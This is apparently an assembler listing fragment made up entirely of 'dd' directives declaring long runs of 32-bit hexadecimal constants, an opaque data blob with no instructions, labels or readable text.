		dd 0E3002B45h, 0D1941A37h, 28ECBA35h, 294AE51h,	7A1F3421h
		dd 78581460h, 0F8D3CE09h, 90506B1Bh, 644DC073h,	7F9D8A7h
		dd 0EA5FE3CFh, 25147CFFh, 1B3AC088h, 0E224DF04h, 0D20B0073h
		dd 0AA1041B6h, 3B8A422h, 0CC9DFE07h, 9C30C03Dh,	37AC240h
		dd 0A8AFD90Fh, 0ECE096C1h, 0DE393E50h, 0E7CBB79h, 2022C8A4h
		dd 84E97530h, 26BF24A6h, 520E007Eh, 7C5E5FB0h, 0D507F500h
		dd 698D2AC2h, 3C94BEF3h, 0C4EF338Fh, 97BDBF40h,	0A9018CB8h
		dd 0EC3A1C85h, 54C8D373h, 5C230377h, 3F8D3134h,	3729FDB8h
		dd 2A6DC700h, 0BA9117F8h, 769A0055h, 28CC3C59h,	7F0012EEh
		dd 0ECC6BC70h, 93314CEh, 1621F0A5h, 65FC5C20h, 8198F5A0h
		dd 92BA3607h, 0A6453491h, 0B2803895h, 79C079A0h, 7ECBA83h
		dd 604201E8h, 2BA7D068h, 0DF07ACA6h, 3FEAF644h,	41B0B480h
		dd 5C1002E4h, 0AB1435C0h, 1D5BEC68h, 96696818h,	0E047911h
		dd 6BFFDA1Bh, 11797A3h,	0D48D082Ah, 11E7D900h, 85565CA1h
		dd 0A71F3052h, 21BF9799h, 81DD153Dh, 120548BDh,	61C85C31h
		dd 18251D6Dh, 49B758CCh, 0BB0080B9h, 0E0195C14h, 3A2EFE0Ah
		dd 4C00A020h, 2B5F383Eh, 0F1013913h, 18FFCEEh, 68DD9880h
		dd 3870DEh, 0ACA1631Ch,	0A5E3EFC4h, 183E73E6h, 94F6873Eh
		dd 0B98241BFh, 301E2097h, 0CBE8F3E3h, 7C1CB259h, 92803850h
		dd 11E60F8Ch, 31A404C8h, 20512294h, 0DA11CEF7h,	25074D7Ch
		dd 0DEEDE8C2h, 0C3A3673h, 0E0E21799h, 0B900FD61h, 45849D5Fh
		dd 7C68B712h, 4DAF24BCh, 0BB6A8C94h, 0DD0F9559h, 4B34DF0Ah
		dd 0E7A6404Ah, 90C9761Bh, 7E152840h, 191E00B4h,	9D2DEEDFh
		dd 87009948h, 3B57B3CEh, 0F4BD96Bh, 8F151C49h, 0BE380030h
		dd 0E92908Ch, 0E3FE008Dh, 0FCCE804Ah, 0AD000C86h, 0AEA53298h
		dd 0A3F8C97h, 65FB78DBh, 421AB1E8h, 14C2320h, 0F58FA093h
		dd 0A30C3439h, 4A5D88h,	23CAB7A0h, 45FC4205h, 0E19EAE30h
		dd 5AB1C4h, 0CAB9AC6h, 0E3CEB76Dh, 6C69AD1Dh, 1FC01ED5h
		dd 8214987Bh, 940181A0h, 0ADE8643Bh, 72A41920h,	809D08FDh
		dd 3BC7D721h, 24C67E9Eh, 0F91018h, 0AF40B8D4h, 6104565Bh
		dd 0A5DAD598h, 142F0480h, 0A291C582h, 0F274B192h, 0F4C0F563h
		dd 0CC24AF60h, 4B448C7Bh, 0E91B7F60h, 6D30410h,	0D6928BC8h
		dd 0A98F1C00h, 0E0D31693h, 88240951h, 1880E0B6h, 21C78377h
		dd 0FE82E900h, 4A3FD526h, 0DDEB2E51h, 0E85706FCh, 72038A3h
		dd 5D3D0127h, 11B71740h, 0ECEDCCB3h, 0B0236D13h, 1DA0C802h
		dd 1509095h, 4DF121Bh, 0B45C6343h, 0C8DC2100h, 0F7E00511h
		dd 9FB90075h, 177B7AF8h, 3F1CAB4Eh, 2AC0306Eh, 97D40C73h
		dd 0D11C008Eh, 0E5F3C73Eh, 0E1569874h, 0D6F502CCh, 31C5CE5Fh
		dd 90E017A6h, 2C7E053Bh, 5FFE856h, 408ACD98h, 198BE1C4h
		dd 4948069Ah, 85DA003Ch, 1881ED4Fh, 0F3A42C59h,	144D8024h
		dd 97D6C554h, 0B4F6D7B8h, 453F8604h, 0D18391B0h, 1D169383h
		dd 57098B0h, 38A5A931h,	0B5466520h, 9CB920Eh, 8F4D99A0h
		dd 0AB027F5Eh, 6AE5EF4Bh, 21ECAF81h, 0E40C190h,	2B58D0h
		dd 341A925Ah, 1CEFE696h, 0D0BB3124h, 0A5D71700h, 0D7A162Fh
		dd 5CDD14F9h, 8A9DE818h, 6D483492h, 27DA80FCh, 0CDD865h
		dd 0DC177E77h, 0FF21AF37h, 0E059290Fh, 87DD6966h, 3FF81FD4h
		dd 98C40324h, 2EE23032h, 52142200h, 843FB254h, 696E608Ah
		dd 0BF78FD90h, 0FC771907h, 0CDC1E9DBh, 0D8D8C447h, 0FD1E04F4h
		dd 8EA750E8h, 639DB8h, 0C1AF5D82h, 110909E5h, 1F01875h
		dd 1FDACA60h, 580F3839h, 0F220E6C3h, 8CD39EAh, 0B040F90Ah
		dd 0A50B647Bh, 5F7C30E6h, 0B0F311A0h, 80518819h, 35A08111h
		dd 7402E4F9h, 68C14CBBh, 1CD4C036h, 61BA41D9h, 14F4B988h
		dd 0C7C4EEB3h, 32F91D5Ah, 0E4FB8F98h, 9898B304h, 0FAC1C08Ch
		dd 0A85911CFh, 3840955Ah, 64B34F02h, 16740084h,	8F8A6F9Dh
		dd 6A00EBE7h, 0E20E67D2h, 0CFD095A6h, 56A05831h, 1DDF4D7Fh
		dd 0D75BC119h, 2180BD08h, 5D59339Bh, 970039A4h,	0FCE585CBh
		dd 91EB9F48h, 0B1C31800h, 0FF1E6719h, 2F4538CCh, 0A00897A4h
		dd 0A064C0E7h, 18EFB0EEh, 0E47E898Fh, 0E63F10A0h, 868CD840h
		dd 413021h, 71EE05E3h, 1AFAD06h, 81EC3900h, 0FC5F4B75h
		dd 0CAF80136h, 0FF201538h, 0E46268h, 35ED705Dh,	2EEEA4E4h
		dd 9398C01Ch, 10502F5Ah, 0A8C01D8Bh, 0F626E9C0h, 77F470E1h
		dd 71671705h, 0B048D556h, 59D9C1ACh, 0DEDF2101h, 10D6B099h
		dd 0A56E665h, 815AF88Eh, 715D98A8h, 3F264428h, 18024092h
		dd 0A094C7E2h, 0E656DE2Ch, 228746E3h, 62240D3h,	0ED369B00h
		dd 0FB4E4CD6h, 0C08217h, 98409427h, 0FEAF09BAh,	7C357440h
		dd 0C80A691h, 1C07EE6Fh, 0C618670Bh, 0EC9E8C65h, 2CA5153Dh
		dd 69072824h, 44F591A0h, 20893235h, 1BA068BBh, 0D0335Ch
		dd 0C1DEFDD6h, 1AE81CFh, 0F9747D88h, 40447EBCh,	0C9F423E4h
		dd 3F546D07h, 0AE7043B2h, 263D12E3h, 0E89F8Ch, 1F5775D3h
		dd 28EE6BC5h, 55512F01h, 10F6AABCh, 609D8CE0h, 0CCEF40CFh
		dd 0D200EED4h, 51D36197h, 3C07BAFh, 92591986h, 0D689FEFCh
		dd 0C8F44B18h, 9FF5C0A8h, 2B03C7FBh, 0F4A5BCD0h, 0D7501EB8h
		dd 974AC035h, 5169077Eh, 70E1A70Bh, 40201431h, 0E50BE8D2h
		dd 80C0AABAh, 755C04E8h, 0C08A6036h, 0D79FB41Ch, 66D59705h
		dd 648AD993h, 0B9538D20h, 0A0CB8420h, 58F69067h, 0EE58CF1Bh
		dd 3B7223Ch, 0A9B9053h,	16A87525h, 1011C26h, 0E5929E57h
		dd 3020C207h, 3492BFh
		dd 1B9CCAE1h, 79F3CBDEh, 0EEC81107h, 2EF0E846h,	8B69EAh
		dd 9A5A2557h, 40CD829Dh, 81BEB500h, 411963BBh, 0C5560217h
		dd 83C94B3Fh, 0AD0DE4C4h, 1EF950E1h, 6308D8h, 9A8515B7h
		dd 0BC29B0C3h, 823DA709h, 3AF42301h, 0C16CD861h, 0E8500091h
		dd 0EDBDDFCh, 0A5009CE3h, 2B257645h, 0C07EF86Ah, 0DFECA0E9h
		dd 43FA370Eh, 0C360AC02h, 58244DB2h, 28991EC4h,	0C53FCA69h
		dd 0DC1F09E9h, 71AFB440h, 0F943800h, 2281C125h,	0A2FC093Fh
		dd 0D890BC56h, 160CD373h, 71A7AF14h, 0FB770015h, 0D59D2BBCh
		dd 5F007D03h, 0D420429Ch, 128325D9h, 90FA182Dh,	0D1F698CCh
		dd 4C9A7A00h, 0CDD9D032h, 24DC1673h, 23FCB4BBh,	8086713Ah
		dd 32E3338Bh, 0ADFD41h,	0A7F0556h, 26455DFEh, 0EF821807h
		dd 0E670C2CFh, 7014F09h, 1CA53B4Eh, 3F20D3B1h, 39F18C90h
		dd 8666E300h, 528B13CBh, 0D17A0112h, 0ED6D389Ch, 8A41F08Ch
		dd 7983921Fh, 0BE4B1601h, 0AEF087E7h, 13C907A5h, 40D303F3h
		dd 624859E6h, 1FDCA700h, 955A211h, 46EC0084h, 8F9765C7h
		dd 4303516Dh, 264B105Dh, 0E6601832h, 1AA1481Ch,	80C15A77h
		dd 0E97BFB7Eh, 17BC6881h, 0D3DB35EAh, 56862800h, 900C4CACh
		dd 6BFC177Ch, 703E1EF8h, 0A7C22B21h, 55659300h,	26495FF5h
		dd 8FF018FAh, 5EE570EBh, 68164D30h, 32C912D9h, 1CC0E2F4h
		dd 9B9908C0h, 0EB519601h, 0EA298538h, 0C1FDA1D0h, 9AF92020h
		dd 6D07C059h, 6D2648h, 0B2580DBBh, 46E19E6h, 503328Fh
		dd 0E795C092h, 8C00F459h, 9E3F0702h, 356691h, 0C6A245BFh
		dd 2D03B213h, 759D9207h, 39B032DDh, 0BDA9FB0h, 152F72F0h
		dd 49B71D02h, 0B14B79E0h, 0EF5BF200h, 464ED4A3h, 52500E17h
		dd 67404482h, 0B25955DDh, 0E7E60C00h, 0DBC83EEEh, 286A07EDh
		dd 607AAA45h, 0BF77728Dh, 29A59600h, 0C5F76985h, 60CE000Bh
		dd 506E84DFh, 1603CA9Ah, 7B211E43h, 6D1AA874h, 0B7BC0060h
		dd 0F73C01C0h, 18C07FEFh, 0C7DBF8CDh, 0E57C5Eh,	5705D13Eh
		dd 0DA6F0BC2h, 0FA78F3F8h, 1D36331Eh, 0FCDC3Bh,	767BF775h
		dd 3429043h, 35C448CFh,	503EBBB2h, 7EC70441h, 99060C6Eh
		dd 520018D0h, 2FB8731Dh, 6090EFh, 8C6B65CFh, 998D4458h
		dd 4CF4EA3Eh, 124507F4h, 4AC34336h, 0D94EC3F8h,	73D042FEh
		dd 408C6058h, 0C408CC72h, 44AC6E03h, 0C29242Dh,	20376D18h
		dd 4A64371h, 0BEE8B100h, 0DA76B973h, 86571FF9h,	74D8B288h
		dd 87F39F43h, 279023E0h, 81D3B61Dh, 0F7555AC5h,	2C8C8C1Fh
		dd 0F9A530B3h, 6219E0D7h, 3E6B074Bh, 0E0F4355Dh, 724EFFE2h
		dd 0B8420815h, 56AF0628h, 50187DB5h, 8875C043h,	2158DAF9h
		dd 25106085h, 0A6181442h, 4CEC0060h, 74E8FBDCh,	7318B62Fh
		dd 5158F85Fh, 770320FFh, 0F9409080h, 6E1FC91Eh,	2709C101h
		dd 918651AFh, 8A63CF61h, 58627C89h, 83F1B784h, 87696D79h
		dd 841940FDh, 57584431h, 8308E348h, 915373A2h, 4841F4E5h
		dd 3B0F7CC2h, 544D98E8h, 18B93748h, 38FB620Bh, 0E100D233h
		dd 0B7D96A6Bh, 18430A19h, 0A97E699Eh, 20188C1Fh, 6031A78Dh
		dd 84A80058h, 0B0CC927h, 0A1C52F94h, 1C008677h,	44AAB4C6h
		dd 54277E59h, 0CB894D5h, 3C9C34C5h, 9500A011h, 4E21586Eh
		dd 289F7A8Dh, 718463FDh, 0E56F034h, 444B6E60h, 3B8A0C40h
		dd 0E9F078C7h, 0AFFE0B06h, 10CD0Eh, 7A804EE4h, 0A908C88Ch
		dd 6A101F06h, 0A06938ACh, 88F5FE30h, 0B274B850h, 0EB5B130Ah
		dd 0C0A0A01Ah, 8DB3304h, 97CEAFh, 8F0920E1h, 7298C4B1h
		dd 0D90C2403h, 3A29FB03h, 0C077A392h, 926E81F3h, 743CE458h
		dd 25AF58CFh, 1C364C00h, 0B9D2169Fh, 0AC08DF06h, 57481FECh
		dd 0A7C0405Ah, 0B8C7278Dh, 7A007747h, 0CB639236h, 20928548h
		dd 2FAF5A07h, 0D2C7DFDDh, 327B48CCh, 9921A29Fh,	6A1054ACh
		dd 11F2BCA9h, 40C68BDDh, 0C0C0E244h, 0A1366D40h, 3B09DB0Ch
		dd 204B734Fh, 0DEAF2580h, 1109446Fh, 0E60CF450h, 21FEA122h
		dd 8A0CFA3Ah, 209B311Eh, 3F1802B5h, 0E2F1F089h,	656900BCh
		dd 0ABD23A40h, 43005DF5h, 30EABEA4h, 6CEAAh, 0A74F6983h
		dd 9ADA1C07h, 7070F426h, 0C275C08h, 47B8CF1Ah, 24E6763Dh
		dd 2D80F06Ah, 5ACA60B4h, 0CEFF0724h, 46046CE2h,	0C03211Dh
		dd 57E6605Eh, 11A8F852h, 80690089h, 8FEE8C3Ah, 0DB4CD7F9h
		dd 435210ACh, 0FB48F803h, 110340FAh, 5CE0CC32h,	6F33A06Ah
		dd 8E465C1h, 0B7C44008h, 21A3E0B0h, 2BE24400h, 5ECCFBDDh
		dd 58D56145h, 528F527Bh, 348021D4h, 0C56D7731h,	485C8800h
		dd 0D6C3DDA4h, 9D600A51h, 1A86846h, 4F761AD9h, 23A4501Fh
		dd 6401F4E7h, 2D4E4053h, 898089Eh, 49C212Bh, 2C1E2A00h
		dd 0B85410A2h, 8D6C2823h, 0F5A70AA0h, 3A2C6E9Bh, 668E9D8Ch
		dd 0E400B810h, 148C3FECh, 86BEF7h, 3CDE34A1h, 0C1F8CBEAh
		dd 42090E75h, 0FEE83302h, 9DFE00EAh, 9FBF5B5Dh,	34AF3900h
		dd 33DF789h, 0FD04A59Ah, 4FA26C40h, 9B9F0E19h, 0B6C65E8Eh
		dd 533020EAh, 1D4C29AFh, 0F3DF005Bh, 0CBACE434h, 41C0C4B4h
		dd 0F2A9BAAFh, 0D1221655h, 48300013h, 6F2BAC59h, 9B06A5F2h
		dd 99BDB554h, 67C0030h,	0B3E77F68h, 221E3883h, 5A33AAADh
		dd 9C30BFDDh, 69B35B5h,	9A8167D1h, 7900B152h, 7D88B75Fh
		dd 98ACC040h, 3990CEh, 6A747780h, 4439213Ch, 8AF9F706h
		dd 3B394F9Bh, 0FC80BA3Ah, 0D43EBD17h, 8D2550Ah,	1120DD18h
		dd 0B0FCC0A2h, 4E835E31h, 560039D6h, 0CD0B7EE9h, 0FA190109h
		dd 5C849E7Ch, 7545CCDDh, 505E970Ch, 149549A2h, 8C18E413h
		dd 90C7B415h, 77EE3F00h, 0B944285Ah, 0F583E200h, 0D3A0E7E1h
		dd 0ABE80718h, 6181EA49h, 57B3CF8Ah, 0E65F90CCh, 7B0034B0h
		dd 0A4C81B2Ah, 11328D9Bh, 1D957712h, 68F3FD7h, 0A46A0134h
		dd 8BE252Fh, 4E201830h,	2A0094ADh, 0C130E95Eh, 0F39B3E13h
		dd 5939E181h, 0F4D70268h, 0B3FE4195h, 0CFAE7C07h, 9030BC0Ch
		dd 0DEFAAA67h, 0DDE1C0C9h, 746D321Eh, 39C3AC0Fh, 0D4A320BAh
		dd 0F0D513h, 0E5ADB196h, 0EDAA9E8Ah, 626339C0h,	67B3FD2h
		dd 8264F50Dh, 0D4490865h, 0F9420708h, 0B750FFD2h, 0E8D523h
		dd 0A3A51283h, 84EDD3F4h, 0D709BB05h, 0B440A490h, 26411004h
		dd 0E96D68E1h, 51D018B8h, 39008D31h, 27AC79C9h,	0FD2BADh
		dd 661C21D5h, 0FF13FEB9h, 9BD29F04h, 0C100F939h, 6D8CCFDEh
		dd 32A42400h, 66ECFB69h, 174000F5h, 0DD81FF8Dh,	0CC18DAA9h
		dd 9A699EC6h, 7741C03Eh, 0C196AB54h, 5300937Ch,	0DB27E155h
		dd 6826020h, 3ABD9E79h,	1300F96Dh, 0A3A789FDh, 2A4CC9AFh
		dd 0C84D9Ah, 6F9E8F0Dh,	0CE7CED3Fh, 39FD6900h, 5F810104h
		dd 6AF81832h, 4CC6409Bh, 9C62150Eh, 0F9521DC3h,	0F8A2DC04h
		dd 358FE548h, 0F420E0E4h, 0F0167358h, 0C1890018h, 7A2AA226h
		dd 9024A14Dh, 0F9858871h, 0A84041D1h, 0DADC5350h, 0E7D3AE8h
		dd 0CE954F07h, 32EA108Fh, 3303BED1h, 18288169h,	65C30Ah
		dd 8D161D39h, 450F9580h, 9BC9433h, 0FD210290h, 17088EE8h
		dd 0C358C040h, 0A441B617h, 0B3B7E502h, 0C87440D1h, 20F14994h
		dd 90965473h, 5168009Dh, 0F902DF9Eh, 300370CCh,	0BEF2F628h
		dd 9659047h, 0FB18292Eh, 8D150048h, 4707957Fh, 0FC184486h
		dd 0C98E130Ah, 6961E88Ah, 98C04ED3h, 0A5640009h, 96DFD1E3h
		dd 6EB80134h, 0D0ECEE0Ch, 394019h, 0BC4232D7h, 94C949C6h
		dd 0F5228E00h, 0F9C01914h
		dd 44904CD8h, 169AB8C2h, 44472A42h, 87A86709h, 5912EC77h
		dd 0FA7C8098h, 0E838B38Bh, 6FA406DAh, 0C10ECFAFh, 0C8E6371Fh
		dd 5D23E400h, 244A2E6Eh, 80009451h, 1A28EAA8h, 31C05AD4h
		dd 44A92C5Bh, 0ABE00E8h, 0D2ADFA63h, 0E9B85F3Dh, 8BD9C612h
		dd 957023h, 85F29481h, 0E7B528FCh, 6788A300h, 0C6D6FAADh
		dd 7DFDE44Dh, 15173252h, 0B04009D1h, 6A0107E5h,	0BFE10D73h
		dd 0E850C5B4h, 74C2418h, 0EA53141Ch, 0CF47E11Eh, 0DD64243Eh
		dd 0F8979029h, 0A6DF873Dh, 2681D3D4h, 0A03A2AFCh, 6C027FF1h
		dd 0D74493B6h, 20AC4D7Bh, 0B71A0060h, 0E909C1DFh, 0EF00D067h
		dd 7EF5EBF6h, 4D654E5h,	2A36DC0Dh, 89B48910h, 2DAA848h
		dd 48CDA9DCh, 90AE9A0Ch, 996201B8h, 0C61D885Eh,	6432E0h
		dd 2C90ACB9h, 148710Dh,	0B1956253h, 0E0C983DDh,	5B7586CEh
		dd 988CB24Ch, 60B497A8h, 6D7D41D2h, 0F8005193h,	1D80BED4h
		dd 1E5D1566h, 493618B7h, 7830E6DFh, 0E46077A3h,	8B151B99h
		dd 0F34B00F5h, 33FF0A10h, 8A008209h, 0AEEEE8F2h, 1E51CA80h
		dd 0C619DCE0h, 79C1F1C9h, 0CCCFD018h, 927C0649h, 84A50014h
		dd 3F0F1299h, 9075478h,	0DDE3DFD4h, 0C49D60A0h,	0C86179A9h
		dd 6347CF39h, 0B8807B70h, 0B5EB040Ch, 0C0A5D7B6h, 1817A21Ch
		dd 94339514h, 67AE008Ch, 63E8C6ABh, 0CEDC2E96h,	39876018h
		dd 926072A9h, 802EC861h, 78EA5051h, 0FA7D003Bh,	0C2B9BCE1h
		dd 14076956h, 9C3050AFh, 0E8DDCBA0h, 0E0D305FDh, 586D17h
		dd 846EB0ECh, 0DB83948Fh, 0CF2C01E1h, 6474A445h, 7EEEE4D1h
		dd 0F8EDF32Ch, 65BD8B80h, 0B9B42F15h, 0CEA21E60h, 6680DA67h
		dd 3A4060DBh, 0D50073FEh, 839BD826h, 0BDC9391h,	42862A47h
		dd 8806AC84h, 0F20305C0h, 0A636843Fh, 2750A74Ch, 0ED3D1A9h
		dd 380971AEh, 381214E9h, 98C0Bh, 0C848FB0Ch, 9318B248h
		dd 26C91C31h, 0B077DCC4h, 558300FEh, 528AFA56h,	0A0A93709h
		dd 77C02295h, 0F38AA4Dh, 0DD7FF9BCh, 0FD884042h, 0A3DC41FAh
		dd 0F1ADD820h, 0A67808A8h, 2A6A4C8Ch, 0E4880A24h, 8C9884FAh
		dd 67F20CA0h, 8E422A3Dh, 0A079E651h, 241A0D4h, 0F1C12C9Dh
		dd 0CDD00560h, 0C6F024EBh, 6C98A124h, 262F683Ch, 14C0E404h
		dd 5894B28Dh, 7E02C3Fh,	0DE078DFCh, 38D3F123h, 0E20B5DD0h
		dd 794A69Dh, 850F089Fh,	0D42AD1BDh, 0C13FE840h,	650D603Fh
		dd 98406DF8h, 15BACCF7h, 55DC02DEh, 6C5E9DE6h, 99170C51h
		dd 0C4CE0806h, 140630C1h, 2EA5FD39h, 8A79B607h,	0C760AD51h
		dd 394C7Eh, 0F2C48DDFh,	6CA986DCh, 9B16C31Dh, 36F4B8C0h
		dd 0B152CF42h, 0F1EC00DCh, 9D074AE7h, 6F045C17h, 0C4CCED03h
		dd 0F9BAB9A7h, 0D08461EEh, 0C3006462h, 86197783h, 0F0129B8Ah
		dd 0F490F273h, 4C2FD7D1h, 3C06489Fh, 394425D0h,	0C0BCA550h
		dd 3DEEC605h, 5C80D6E3h, 26B73410h, 3CEBFC3h, 67D5C746h
		dd 87A59B90h, 0B401D417h, 38899C4Ch, 9FF54423h,	0AE139h
		dd 0C1EC044Ch, 0C2D82BF6h, 0DBBE8049h, 33BD6448h, 892AC37Fh
		dd 0CF0118E0h, 30053A1Ah, 8ADD9F77h, 0D53FC080h, 4137BDBCh
		dd 1669A900h, 8204886Bh, 13F835h, 0DF624D49h, 47E8C8EFh
		dd 0ED124407h, 3C80AFEAh, 371FDEEh, 0CF460A88h,	80304C78h
		dd 0A917B887h, 7DEA800Eh, 0F1294914h, 48B229Ch,	4E86B179h
		dd 0B2788C1Ch, 76F410C2h, 33D041C6h, 4F15422h, 310C0Eh
		dd 0E7462F78h, 1F192BC2h, 4FD8AF10h, 0BC717B05h, 4A046E32h
		dd 6231FC2Ah, 30BE8FD0h, 3A0CD204h, 9D3ECC4h, 31C71BBBh
		dd 8455051h, 181C281Ch,	4240650Fh, 140CF998h, 1E7255F8h
		dd 0CF54DCC1h, 0D19DC74Fh, 8A2828CCh, 0CA7CC418h, 34049560h
		dd 77B82128h, 0FB1C4318h, 0B1108962h, 2850BA15h, 83456010h
		dd 0C1040811h, 0C60A95F9h, 0CC19D1F0h, 0CAC90F81h, 1C4609CAh
		dd 0A0280A6Bh, 0A55008B2h, 141F730Ch, 64488F14h, 8A779981h
		dd 6FD15850h, 0B45B031Dh, 35010B16h, 180208BEh,	73802840h
		dd 39EE01F6h, 0F532B84Ah, 1D08A744h, 0FCFEDE90h, 574C44BAh
		dd 8250C0B8h, 986D4132h, 8697018Ch, 7F76858Eh, 0F42040ECh
		dd 0B905AB7Ch, 0A928C66Fh, 2BD8DC90h, 0D4FE4CD4h, 669B131h
		dd 0E08064C4h, 7A2D8F19h, 0F8700A48h, 1C77F1Ch,	87091347h
		dd 243D9B32h, 0D50CD190h, 116C6FC8h, 76182673h,	0DCEA0F75h
		dd 69D0B6C6h, 0F4286C1Dh, 8D1648F0h, 67B200A3h,	0AE998CF9h
		dd 0BD74FC25h, 0AB013074h, 0EF7BA97Dh, 0F431E354h, 0D2C71830h
		dd 78904CA9h, 6C3CE108h, 8BF4122Bh, 488D1C89h, 9308F963h
		dd 98008798h, 9E98A95h,	230006Ah, 0A9E28819h, 0EA01276Bh
		dd 5E9560ADh, 0ABECA57Bh, 1EE104BAh, 0C852E9BFh, 0BC0AB210h
		dd 8C7CA266h, 4010CF0Fh, 5AEA4755h, 6E300164h, 18E11619h
		dd 0EF898033h, 32E40AC2h, 22CF1FD0h, 796580E9h,	1395ECA4h
		dd 41B8CA54h, 6BE1B90Ch, 50BD11C0h, 245E8876h, 3EB4CA8Eh
		dd 0B0601A00h, 8353D403h, 6A95021Eh, 8FE1CC62h,	930C1D08h
		dd 38707AB4h, 0E00A0083h, 9D6BD93Dh, 0FB483759h, 71AA1804h
		dd 0A09AE221h, 676C26B0h, 0E538A1EFh, 0C8B00A8Bh, 18851BACh
		dd 9616B2D0h, 0F44F6D00h, 7B5FA033h, 0BA9CB894h, 0A8D0574Ch
		dd 2CE11060h, 5FF062F3h, 7CD88209h, 0E8382919h,	0FA895E34h
		dd 1A792907h, 72844EB8h, 2C402504h, 8060F05Ah, 167432h
		dd 892298F1h, 0DAF5202Fh, 7D341707h, 0FB109A74h, 0C988062h
		dd 3C8C25A8h, 50286C58h, 3340A4C7h, 0F44E0721h,	10ED66B8h
		dd 4536A862h, 16307C3Ch, 92181AC6h, 982AC8h, 89C9A6F5h
		dd 0AF37274Eh, 0D4D10E09h, 0B8500418h, 4F5EA641h, 0B3C9824Ah
		dd 0CA5B28C9h, 0F6B804E8h, 0E4237D49h, 42F71B77h, 0E45AD9C8h
		dd 0F0EAD881h, 59E86A83h, 848CDE52h, 44803BBEh,	8B7A132Dh
		dd 730CE148h, 100749D3h, 4C9EB60h, 308AD918h, 34E44F1Dh
		dd 0ED884E28h, 4C14CB6Fh, 90F420h, 9D609850h, 88D72580h
		dd 60097C8h, 0ECD86D4Ah, 213ED60h, 0BDB12E83h, 8086A72Ah
		dd 7B0691D5h, 4EEFEA12h, 48CA5034h, 9F29C8F5h, 0D9ED5A42h
		dd 27830460h, 0A58881AEh, 0EC5850F8h, 3264706Ch, 9660F390h
		dd 0C6502066h, 0C101C3F0h, 447D7060h, 808DC85Ah, 8320F94Bh
		dd 4D7B4CB0h, 85603EC5h, 1903B848h, 0DEF6C4FFh,	344C188Eh
		dd 6E839E78h, 39EF14D3h, 6B1CE171h, 48B0AEE3h, 4E2711B0h
		dd 4188245Ah, 9C6D535Ch, 0CB008D3Eh, 45EF5872h,	930FC15Ah
		dd 0C06A3016h, 0DAAEEA54h, 0C9A40A90h, 8D8CD7D9h, 2D10A03Bh
		dd 2C8313E0h, 7116E001h, 9312E6D4h, 47950460h, 6040B496h
		dd 0A1CFB158h, 118068A0h, 0F60FE1EFh, 5C98D8D9h, 0C8C17C6Ah
		dd 0FC03131Fh, 0B0E26Dh, 5B92B810h, 46FD1105h, 0EB3D7B14h
		dd 98742A8Ch, 93B3C500h, 0A5F405ADh, 472A1646h,	664C0062h
		dd 0E449EF28h, 0FCF1DCF3h, 0EC194D80h, 0BD7D00D8h, 7893DFD0h
		dd 6FED9A7Bh, 525F1B0h,	71B0B706h, 832CC050h, 0BC50ADD2h
		dd 45505E84h, 0FF00B26Ch, 6AFA1766h, 5426A9CEh,	1581B0B4h
		dd 0C08A505Fh, 0EA7C6300h, 0D2BD3AA7h, 77D87A00h, 16DE02A5h
		dd 0D447001Ah, 5FD19A7Ch, 0D8983CF9h, 0D6499860h, 0B411999h
		dd 1CA88B1Dh, 0DAC89810h, 12E00241h, 0F6467105h, 2A71C39Bh
		dd 15D81964h, 0C801BC79h, 0D37AD130h, 0F02D6A9Ch, 0CE64B200h
		dd 423952EEh, 4767C805h, 0AC04A3D7h, 1DF61Ah, 9C1EA0F0h
		dd 0E11C4476h, 0FA7B67h
		dd 11647329h, 32AD67Ch,	0B13248D3h, 2909F075h, 458679h
		dd 67092E4Eh, 0B091384Fh, 65554C00h, 7E7AB358h,	0C8D0B524h
		dd 8B8E5D00h, 0E9A193Bh, 0AFC14479h, 0D3C6D7C0h, 4C00B82Eh
		dd 35CEF66Bh, 4513FBh, 0A9E643F8h, 97DAD1C5h, 18000E4Eh
		dd 0A5A3CFBDh, 0F6E300CAh, 71D14C54h, 0F9071FDDh, 148FC513h
		dd 76D0E2C2h, 19C2067Ah, 8030A951h, 17790827h, 3B7B2682h
		dd 0B4803920h, 0F24BC3A3h, 9B007454h, 0E267DF4Dh, 0C8F40E1h
		dd 0F6EA8144h, 6C00BB38h, 321D386Fh, 0C89820h, 0B24A8BBCh
		dd 0E9DEAEFh, 61B161C3h, 0E8784Dh, 8499F6F2h, 7462336Fh
		dd 1129E600h, 0A2AB66C1h, 2F670C23h, 3A40F241h,	0BBC8DC41h
		dd 63DB838Ah, 0A14684D0h, 0B63C3400h, 0D10AB8A9h, 434A00EDh
		dd 0CBE0333Eh, 9439D62Fh, 6689800Fh, 6A38EA53h,	0FBBD00B2h
		dd 1AD0354Fh, 0D40E02BBh, 86698632h, 206DBEh, 6AF16472h
		dd 22F4740Eh, 0EF5D4E00h, 0EBF267FAh, 6B2E4ACh,	45882E5Fh
		dd 0ED466109h, 0BE35B900h, 0C1FF8BDCh, 1C934484h, 1DF1763Ch
		dd 2F800229h, 0F8C1F2C4h, 3E20F95h, 0E4028A0h, 406DADC9h
		dd 0FF0FD07Bh, 5BBDB0h,	4E78DBD2h, 0AF79035Fh, 0AC81A349h
		dd 9FD0BAA1h, 87F8E320h, 4CFA6B56h, 2A9D3260h, 9E0E0609h
		dd 498F39B2h, 1D55E2A0h, 11BCAB30h, 32D4C5Dh, 262B5605h
		dd 91853D9h, 7D205410h,	412D0188h, 0CBECF803h, 693883D2h
		dd 0D8BC1F45h, 0E9827Ch, 3839FCDDh, 2FB9FE93h, 0D04CC0CEh
		dd 700508D4h, 48AC695Eh, 0BD800B60h, 9DA64E08h,	0B3F0006Ah
		dd 40310A99h, 6606E6E0h, 595B3C19h, 84C0C8C8h, 0B82D85C0h
		dd 8642710Bh, 755FE20h,	0F12D7964h, 0FF73C01Eh,	340083F9h
		dd 3829CDB8h, 585A1C5Ch, 0BB37E818h, 4975060h, 7B006369h
		dd 0B02417C0h, 49DEADh,	508E0DBDh, 0FA9DD3B9h, 2C791100h
		dd 0B48D933Dh, 7A0E7E85h, 1C250054h, 52BDAEA5h,	117EDCBCh
		dd 5C8BE20Fh, 0E38DE002h, 0A8EEC5h, 3AD58E15h, 210EC28Ch
		dd 30009B7Eh, 0BCD255E2h, 7CC7023Fh, 764805F6h,	2ACF56Fh
		dd 0AEC413B9h, 0D2F497C0h, 0FA9A3300h, 6D9220E2h, 0FE1C01A2h
		dd 48AD9E26h, 0C3088C24h, 0B22006h, 1436A584h, 0BC854BB9h
		dd 800FAE3Bh, 20DE5F69h, 7441B5F2h, 3D07F6E8h, 4F02B362h
		dd 0DF6E73F3h, 89694D00h, 5A6F030Bh, 0E5B25E1Ch, 86D7180Bh
